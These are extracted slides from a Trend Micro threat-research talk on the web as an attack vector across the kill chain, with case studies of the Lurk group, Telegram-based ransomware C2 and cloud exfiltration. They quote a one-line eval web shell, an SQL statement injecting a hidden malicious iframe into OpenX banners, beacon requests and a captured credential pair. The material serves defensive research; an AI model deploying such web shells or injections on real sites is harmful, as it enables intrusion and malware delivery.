Web As Ongoing Threat Vector: Case Studies from Europe and Asia Pacific

Fyodor Yarochkin, Vladimir Kropotov, TrendMicro
FTR
Introduction
So how web is being used and abused?

The trivial: Drive-bys
EKs
.. but there is much more than this
Software gets smarter, users become .. the opposite ;)

With or without YOU...
Penetration and Data Exfil. Campaigns

These seem to leverage web for all steps of traditional killchain:
• recon: social lures, system fingerprinting, targeted delivery of first stage payloads
• exploitation: exploits, social engineering tricks, phishing
• c2: compromised sites, proxies, social network websites
• data exfiltration: cloud services are often used for data exfil to mimic user behaviors
Out of scope

• We will not talk about trivial stuff here.
• We will not talk about Denial of Service Attacks, Except for unusual trends.
• We expect everybody in the room knows what Exploit Kits and Drive-by-Download attacks are
• Focus less known, but important cases and situations
Censorship will save the future :)
Side effects of Internet Censorship

- North Korea. All websites are under government control. ...
- Burma. Authorities filter e-mails and block access to sites of groups that expose human rights violations or disagree with the government.
- Cuba. Internet available only at government controlled "access points." ...
- Saudi Arabia. ...
- Iran. ...
- China. ...
- Syria. ...
- Tunisia.

More items...

Top 10 Internet-censored countries - USA Today
https://www.usatoday.com/story/news/world/2014/02/05/internet-censors/5222385/
Infrastructure compromise could lead to bad impacts

Blacklisted domains resolve to “arbitrary” sites

Github incident
В соответствии с распоряжением заместителя руководителя Роскомнадзора О.А. Иванова от 01.06.2017 № 33817-09/77 запрет блокировки следующих сетевых адресов: 95.213.11.180, 87.240.165.82 и 5.255.255.88, отсутствующих в Перечне записей, содержащих информацию о доменных именах, указателях страниц сайтов в сети «Интернет» и сетевых адресах, позволяющих идентифицировать сайты в сети «Интернет» и (или) информационные ресурсы, содержащие информацию, доступ к которой должен быть ограничен операторами связи в порядке, установленным Федеральным законом от 27 июля 2006 г. № 149-ФЗ «Об информации, информационных технологиях и о защите информации» (Выгрузка), предоставляемом операторам связи.
**Whois Record** for DymOff.space

<table>
<thead>
<tr>
<th><strong>Whois &amp; Quick Stats</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Risk Score</strong></td>
</tr>
<tr>
<td><strong>Email</strong></td>
</tr>
<tr>
<td><strong>Registrant Org</strong></td>
</tr>
<tr>
<td><strong>Dates</strong></td>
</tr>
<tr>
<td><strong>IP Address</strong></td>
</tr>
</tbody>
</table>

```bash
bash $grep CNAME dymoff.space
dymoff.space. IN CNAME purposechem.com.
dymoff.space. IN CNAME myrotvorets.center.
dymoff.space. IN CNAME update.microsoft.com.
dymoff.space. IN CNAME flight-mh17.livejournal.com.
```
<table>
<thead>
<tr>
<th>Ссылка</th>
<th>IP-адрес</th>
<th>Госорган, принявший решение</th>
<th>Дата</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.dymoff.space">www.dymoff.space</a></td>
<td>46.148.26.72</td>
<td>ФСКН</td>
<td>2016-07</td>
</tr>
<tr>
<td>dymoff.space</td>
<td>46.148.26.72</td>
<td>ФСКН</td>
<td>2016-07</td>
</tr>
</tbody>
</table>
How to Kill a site in country-wide scale
The Killchain

the common concept that Web is used during the exploitation process. The reality is that we’ve seen use of web systems across the whole killchain.
Killchain: Reconnaissance
Fingerprinting: scanbox like techniques

Discussed:
Also by TombKeeper in 2013
Reconnaissance tools
Non Violent environment fingerprinting actions

Flash case from Lurk:

<table>
<thead>
<tr>
<th>Domain</th>
<th>IP Address</th>
<th>Port</th>
<th>Method</th>
<th>URL</th>
<th>Content-Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>lijartwbysa.info</td>
<td>216.55.166.53</td>
<td>80</td>
<td>GET</td>
<td><a href="http://lijartwbysa.info/indexm.html">http://lijartwbysa.info/indexm.html</a></td>
<td>text/html</td>
</tr>
<tr>
<td>lijartwbysa.info</td>
<td>216.55.166.53</td>
<td>80</td>
<td>GET</td>
<td><a href="http://lijartwbysa.info/054Rldl">http://lijartwbysa.info/054Rldl</a></td>
<td>application/x-shockwave-flash</td>
</tr>
<tr>
<td>lijartwbysa.info</td>
<td>216.55.166.53</td>
<td>80</td>
<td>GET</td>
<td><a href="http://lijartwbysa.info/354Rtcx">http://lijartwbysa.info/354Rtcx</a></td>
<td>text/html</td>
</tr>
<tr>
<td>lijartwbysa.info</td>
<td>216.55.166.53</td>
<td>80</td>
<td>GET</td>
<td><a href="http://lijartwbysa.info/054Rtcx">http://lijartwbysa.info/054Rtcx</a></td>
<td>text/html</td>
</tr>
</tbody>
</table>
Recon with multi-staged payloads

POST /f7015a0edbf0564d9b34cf8add9dff5.php HTTP/1.1
Accept: text/*
Content-type: application/x-www-form-urlencoded
User-Agent: 256f0751d6b26488ba98fd57d354ce2a
Host: 52.78.95.103
Content-Length: 115
Cache-Control: no-cache

m=NEMtNEQtMjgtMjctMjYtMjI&o=V2luZGVzczg&d=QzpcIA&n=U3RldmUtT2ZmaWNlMw&v=ZWMxNTnmNGE3YmY0NTlhZGU3NDh1OWI3YmY0YWMyMzc
Killchain: delivery and exploitation
Web portals as a threat vector

• Initial vectors of compromise in targeted attacks (map pentest and APT scenarios)
• Misconfigurations and their consequences (unpredicted data leaks)
• Exfiltration as a customer communication (hypothetical, but maybe already in the wild)
• BPC or Business logic compromises
Anti-forensic in early days
Delivery on non-standard ports
Watering Hole as a threat vector

credit: Joseph C Chen
Caching routines as a threat vector (Lurk Case 1)

• memcached Cache poisoning
• Observed: continuous flood of connection requests to TCP 11211 (default memcached port)
• Cached pages were updated with ‘iframed’ versions of these pages on the fly
SSH Vuln as a threat vector (Lurk Case 2)

• Machine was compromised via an ssh vulnerability
• Apache web server had additional module installed: `mod_proxy_mysql.so` (didn’t link any mysql libraries)
• This is possibly a modified version of [http://pastebin.com/raw/6wWVsstj](http://pastebin.com/raw/6wWVsstj) as reported by succuri (https://blog.sucuri.net/2013/01/server-side-iframe-injections-via-apache-modules-and-sshd-bac kdoor.html)
OpenX as a threat vector (Lurk Case 3)

OpenX compromise
- webshell installed
- The Lurk group periodically modified banners table with
  - `update `banners` set htmltemplate=concat(htmltemplate, '
  `<script>document.write("<div
  style="position:absolute;left:1000px;top:-1280px;">
  <iframe
  src="http://couldvestuck.org/XZAH"></iframe>
</div>");
  `</script>`) where storagetype='html'
- This causes the OpenX script `/www/delivery/ajs.php` to produce the HTML code with this iframe snippet appearing at the page.
EK Evolution mostly focused on Usability and Antiforensics

- Serve where you can
- Serve by IP once per day
- Include GEO specifics
- Serve during Intervals
- Serve for appropriate browser
- Server in appropriate environment
- ....
ADD Period Abuse

**Domain ID:** D46208878-LRMS  
**Domain Name:** XEZARETA.INFO  
**Created On:** 24-Apr-2012 10:14:33 UTC  
**Last Updated On:** 24-Apr-2012 10:14:34 UTC  
**Expiration Date:** 24-Apr-2013 10:14:33 UTC  
**Sponsoring Registrar:** DomainContext Inc. (R524)  
**Status:** CLIENT TRANSFER PROHIBITED  
**Status:** TRANSFER PROHIBITED  
**Status:** ADDPERIOD  
**Registrant ID:** PP-SP-001  
**Registrant Name:** Domain Admin  
**Registrant Organization:** PrivacyProtect.org  
**Registrant Street1:** ID#10760, PO Box 16  
**Registrant Street2:** Note – All Postal Mails Rejected, visit Privacyprotect.org

<table>
<thead>
<tr>
<th>Status Code</th>
<th>What does it mean?</th>
</tr>
</thead>
<tbody>
<tr>
<td>addPeriod</td>
<td>This grace period is provided after the initial registration of a domain name. If the registrar deletes the domain name during this period, the registry may provide credit to the registrar for the cost of the registration.</td>
</tr>
</tbody>
</table>
Exploiting trusted redirects
Killchain: Command And Control
social networks are widely utilized as intermediate C2
Telegram as c2

Telegram Ransomware’s Encryption Cracked

By Ionut Arghire on November 23, 2016

TeleCrypt, the file encryption ransomware that abuses Telegram API for communication, has had its encryption cracked just two weeks after the threat was originally detailed.

The ransomware abuses the instant messaging service Telegram for command and control (C&C) communications. What’s more, victims can send messages to the attackers using the same service. Immediately after infection, the malware creates a Telegram bot beacon on the C&C server to send various details about the compromised machine.

After installation, TeleCrypt searches the hard drive for specific files, then encrypts and appends the .Xeri extension to them. However, security researchers say that some variations of the malware don’t change the file extension.

The ransomware’s authors would request around $75 from their victims to provide them with a decryptor (payments are accepted via Russian payment services Qiwi or Yandex). Right from the start, however, researchers suggested that TeleCrypt was written by cybercriminals without advanced skills.
Legit and non legit use

• C2 on compromised web sites (Korea case and many others)
• Major objectives
  – Adds extra layer of obfuscation
  – Minimize untrusted connections issues
Steganography

Hunting for MZ (pe binaries) inside .jpg files
Saumil did awesome job exploring the boundaries: stegosploit

Stegosploit

Exploit Delivery via Steganography and Polyglots

by Saumil Shah - saumil at net-square.com, @therealsaumil

June 2015

TL;DR:
Persistence: awesomeness of simplicity

Server:
```jsp
<%@ Page Language="Jscript"%>
<%eval(Request.Item["pass"],"unsafe");%>
```

Client Request:
```
```
Killchain: Action
Ransomware attacks on server side web application

• All your data belongs to us
POST /userinfo HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://my.pcloud.com/#page=login
Accept-Language: en-US,en;q=0.7,ko;q=0.3
Origin: https://my.pcloud.com
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 [Windows NT 6.1; WOW64; Trident/7.0; rv:11.0] like Gecko
Host: api.pcloud.com
Content-Length: 132
Cache-Control: no-cache

username=tinylongsman2016@yandex.com&password=tinylty!@#$&getauth=1&_t=1495447914&logout=1&authexpire=86400&
Cloud Exfiltration

opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX
opartial=1&amp;auth=lxjOGvZA04MZJMzgqczG9dQNS8WazDS5i5LDzyFX

TREND MICRO
Client side web application as a threat vector

Maybe extend attack surface to open redirect,

- open redirect
- SSRF
- Phishing forms
- EK

And make an introducion and focus on interesting EK cases
Tips on Detection

• Defence Action plan for CSIRT teams
Small things matter: investigate

Date/Time 2011-10-31 13:54:43 MSK
Alert Name ActiveX_Warning
Severity Low
Observance Type Intrusion Detection
Combined Event Count 1
:code 200
:protocol http
:server owpvqxvbjs.com
:URL /BVRQ
Other interesting artifacts of Web Exploitation
Exploit Kit Traces: ActiveX Controls

Per-Site ActiveX Controls

Overview
When an add-on is implemented on a Web site, the Information bar lets users allow an ActiveX control or only the current one. Users can easily make changes to this behavior through the Manage Add-ons page.
Detection and mitigation experience

• Applying IOC\s for own protection
• How to tune proxies for EK Mitigation
• Web as a second Echelon of Email attacks
  – Good case, javascript by email, which triggers binary through web

•
Hacker, hacker, who are you?

- VPN problem?

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Date/Time</th>
<th>Request</th>
<th>Status Code</th>
<th>Body</th>
</tr>
</thead>
<tbody>
<tr>
<td>95.41.160.82</td>
<td>[09/Sep/2014:18:37:23 +0400]</td>
<td>GET /classes/common/atext/fonts/verdana.ttf HTTP/1.1</td>
<td>200 171792</td>
<td></td>
</tr>
<tr>
<td>95.41.160.82</td>
<td>[09/Sep/2014:18:37:24 +0400]</td>
<td>GET /classes/common/atext/fonts/times.ttf HTTP/1.1</td>
<td>200 409280</td>
<td></td>
</tr>
<tr>
<td>95.41.160.82</td>
<td>[09/Sep/2014:18:37:25 +0400]</td>
<td>GET /classes/common/atext/fonts/arial.ttf HTTP/1.1</td>
<td>200 367112</td>
<td></td>
</tr>
<tr>
<td>95.41.160.82</td>
<td>[09/Sep/2014:18:37:27 +0400]</td>
<td>GET /files/main.swf HTTP/1.1</td>
<td>200 570358</td>
<td></td>
</tr>
<tr>
<td>46.185.87.3</td>
<td>[09/Sep/2014:18:43:03 +0400]</td>
<td>GET /classes/classes.zip HTTP/1.1</td>
<td>404 225</td>
<td></td>
</tr>
<tr>
<td>46.185.87.3</td>
<td>[09/Sep/2014:18:43:04 +0400]</td>
<td>GET /favicon.ico HTTP/1.1</td>
<td>200 1598</td>
<td></td>
</tr>
<tr>
<td>46.185.87.3</td>
<td>[09/Sep/2014:18:43:09 +0400]</td>
<td>GET /classes.zip HTTP/1.1</td>
<td>200 156647</td>
<td></td>
</tr>
<tr>
<td>46.185.87.3</td>
<td>[09/Sep/2014:18:44:24 +0400]</td>
<td>GET /classes/ HTTP/1.1</td>
<td>200</td>
<td></td>
</tr>
<tr>
<td>46.185.87.3</td>
<td>[09/Sep/2014:18:44:46 +0400]</td>
<td>GET /classes/common/mpanel/style.css HTTP/1.1</td>
<td>200 1472</td>
<td></td>
</tr>
</tbody>
</table>
Strange use of F...

```
:60.28.113.233.80.TJ.S 001 .... WxvjexQ :Sina Network .... WxvjexQ!BOT@140.109.x.x.
:60.28.113.233.80.TJ.S 002 .... WxvjexQ :60.28.113.233.80.TJ.S.
:60.28.113.233.80.TJ.S 003 .... WxvjexQ :.
:60.28.113.233.80.TJ.S 004 .... WxvjexQ .
:60.28.113.233.80.TJ.S 005 .... WxvjexQ .
:60.28.113.233.80.TJ.S 005 .... WxvjexQ .
:60.28.113.233.80.TJ.S 251 .... WxvjexQ :There are 1 users and 327 invisible on 1 servers.
:60.28.113.233.80.TJ.S 252 .... WxvjexQ :1 operator(s) online.
:60.28.113.233.80.TJ.S 253 .... WxvjexQ :9 unknown connection(s).
:60.28.113.233.80.TJ.S 255 .... WxvjexQ :I have 328 clients and 0 servers.
:60.28.113.233.80.TJ.S 266 .... WxvjexQ :Current Global Users 328  Max: 7145.
:60.28.113.233.80.TJ.S 422 .... WxvjexQ :MOTD File is missing.
```

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Port</th>
<th>Protocol</th>
<th>Connect Count</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.27</td>
<td>80</td>
<td>7</td>
<td>180 / 590</td>
<td>moloch</td>
</tr>
<tr>
<td>0.27</td>
<td>80</td>
<td>7</td>
<td>180 / 590</td>
<td>moloch</td>
</tr>
<tr>
<td>0.27</td>
<td>80</td>
<td>7</td>
<td>180 / 590</td>
<td>moloch</td>
</tr>
<tr>
<td>0.27</td>
<td>80</td>
<td>6</td>
<td>156 / 512</td>
<td>moloch</td>
</tr>
<tr>
<td>0.27</td>
<td>80</td>
<td>7</td>
<td>180 / 590</td>
<td>moloch</td>
</tr>
<tr>
<td>0.27</td>
<td>80</td>
<td>7</td>
<td>180 / 590</td>
<td>moloch</td>
</tr>
</tbody>
</table>
LEVEL 80: Persistence in the human brain - Abuse of social networks to manipulate Human Decisions
Questions?

fyodor_yarochkin@trendmicro.com
vladimir_kropotov@trendmicro.com